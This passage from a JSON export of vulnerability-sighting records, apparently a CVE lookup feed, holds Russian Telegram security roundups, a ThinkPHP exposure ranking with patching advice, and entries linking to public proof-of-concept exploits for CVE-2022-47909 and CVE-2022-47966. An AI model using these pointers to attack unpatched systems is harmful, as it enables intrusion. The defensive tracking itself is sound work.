\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \n\n4\ufe0f\u20e3 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \ud83c\uddf7\ud83c\uddfaPositive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 7 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \ud83c\uddef\ud83c\uddf5\u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Mitsubishi Electric.\n\n5\ufe0f\u20e3 \u0421 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u00ab\u041e\u0445\u043e\u0442\u044b \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u042f\u043d\u0434\u0435\u043a\u0441\u00bb \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \ud83d\udcb0\u0434\u0435\u043d\u0435\u0433 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n6\ufe0f\u20e3 \u041f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043b\u0435\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u2755\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-47939) \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044f\u0434\u0440\u043e \u200b\u200b\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \n\n7\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \ud83d\udcbb \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Passwordstate enterprise, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 \u0444\u0438\u0440\u043c\u043e\u0439 Click Studios, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Foxit Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0444\u043b\u0430\u0433\u043c\u0430\u043d\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 PDF Reader \u0438 PDF Editor.", "creation_timestamp": "2026-08-03T21:00:04.282067Z"}, {"uuid": "3335965c-e550-4ba4-86d8-0e566a9dfd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/cyberok_news/136", "content": "\ud83d\udeab \u0422\u041e\u041f-5 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ThinkPHP \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 (\u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446)\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0441\u0442\u0430\u0440\u044b\u0445, \u0442\u0430\u043a \u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430\u0445 ThinkPHP. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u044f\u0434 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 2025-\u043c \u0433\u043e\u0434\u0443.\n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435.\n\n\ud83c\udfc6 TOP-5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n CVE-2022-47945 \u2014 \u224828%\n CVE-2024-34467 \u2014 \u224827%\n CVE-2019-9082 \u2014 \u224815%\n CVE-2022-25481 \u2014 \u224812%\n CVE-2022-45982 \u2014 \u22485%\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0441 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0442\u043e\u043f\u0435 \u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 2022 \u0433\u043e\u0434\u0430. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0442\u0430\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043b\u0451\u0433\u043a\u0430\u044f \u0434\u043e\u0431\u044b\u0447\u0430: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u044b, \u0434\u043b\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0435\u0441\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 PoC.\n\n\u042d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0448\u0430\u043d\u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u0430\u0436\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u0441\u0442\u0430\u043b \u00ab\u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430\u00bb \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443. \u0418 \u043d\u0435\u0432\u0430\u0436\u043d\u043e, \u0441\u0432\u0435\u0436\u0430\u044f \u044d\u0442\u043e CVE \u0438\u043b\u0438 \u0441\u0442\u0430\u0440\u0430\u044f \u2014 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0441 \u0442\u0430\u043a\u0438\u0445 \u0437\u0430\u0431\u044b\u0442\u044b\u0445 \u0438 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u2757\ufe0f\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043a \u0437\u0430\u0449\u0438\u0442\u0435\n1. \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u044c ThinkPHP \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u2014 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438.\n2. \u0418\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u043e\u0442 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (ACL, firewall, VPN) \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n3. \u0410\u0443\u0434\u0438\u0442 \u043b\u043e\u0433\u043e\u0432 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043b\u043e\u0433\u0438 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30\u201390 \u0434\u043d\u0435\u0439 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432.", "creation_timestamp": "2026-08-04T13:00:22.159821Z"}, {"uuid": "1709a9f2-ea64-4949-9c37-63a912f3b473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/9246", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47909_unauth_arbitrary_file_deletion*\nGithub: https://github.com/JacobEbben/CVE-2022-47909_unauth_arbitrary_file_deletion", "creation_timestamp": "2026-08-01T00:00:33.737347Z"}, {"uuid": "1fbf4b12-8c01-40de-a93a-0ca84d73c0f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/cisoclub/2159", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (19-25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \u0441\u043e\u0444\u0442\u0432\u0435\u0440\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 Citrix ADC \u0438 Gateway \ud83d\udd0e\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u0432 IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n2\ufe0f\u20e3 \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043b\u0430\u0433\u0438\u043d YITH WooCommerce Gift Cards Premium, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50 000 \u0441\u0430\u0439\u0442\u0430\u0445 \ud83d\udcf0WordPress. \n\n3\ufe0f\u20e3 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043c\u043e\u0441\u0442\u0430\u0445 Hikvision \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \n\n4\ufe0f\u20e3 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \ud83c\uddf7\ud83c\uddfaPositive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 7 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \ud83c\uddef\ud83c\uddf5\u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Mitsubishi Electric.\n\n5\ufe0f\u20e3 \u0421 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u00ab\u041e\u0445\u043e\u0442\u044b \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u042f\u043d\u0434\u0435\u043a\u0441\u00bb \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \ud83d\udcb0\u0434\u0435\u043d\u0435\u0433 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n6\ufe0f\u20e3 \u041f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043b\u0435\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u2755\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-47939) \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044f\u0434\u0440\u043e \u200b\u200b\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \n\n7\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \ud83d\udcbb \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Passwordstate enterprise, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 \u0444\u0438\u0440\u043c\u043e\u0439 Click Studios, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Foxit Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0444\u043b\u0430\u0433\u043c\u0430\u043d\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 PDF Reader \u0438 PDF Editor.", "creation_timestamp": "2026-08-04T00:00:13.273838Z"}, {"uuid": "4c52f8fa-bc49-4d4f-9297-c7f37c615567", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-15)", "content": "", "creation_timestamp": "2026-05-15T00:00:00.000000Z"}, {"uuid": "5a0e60d5-5074-4d41-8fe7-4049da1bf85c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3128", "content": "A Different Payload for CVE-2022-47966 https://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2026-08-02T19:12:13.534299Z"}, {"uuid": "5bd7f046-823d-49d5-98a3-2a990205f440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/cyberok_news/136", "content": "\ud83d\udeab \u0422\u041e\u041f-5 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 ThinkPHP \u0432 \u0420\u0443\u043d\u0435\u0442\u0435 (\u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446)\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u043f\u0440\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u043a \u0441\u0442\u0430\u0440\u044b\u0445, \u0442\u0430\u043a \u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u0430\u0445 ThinkPHP. \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0440\u044f\u0434 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0432 2025-\u043c \u0433\u043e\u0434\u0443.\n\n\ud83d\udce1 \u0421\u041a\u0418\u041f\u0410 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435.\n\n\ud83c\udfc6 TOP-5 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\n CVE-2022-47945 \u2014 \u224828%\n CVE-2024-34467 \u2014 \u224827%\n CVE-2019-9082 \u2014 \u224815%\n CVE-2022-25481 \u2014 \u224812%\n CVE-2022-45982 \u2014 \u22485%\n\n\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b CyberOK \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u044e\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432 \u0441 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0432 \u0442\u043e\u043f\u0435 \u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c 2022 \u0433\u043e\u0434\u0430. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0442\u0430\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u2014 \u043b\u0451\u0433\u043a\u0430\u044f \u0434\u043e\u0431\u044b\u0447\u0430: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u044b, 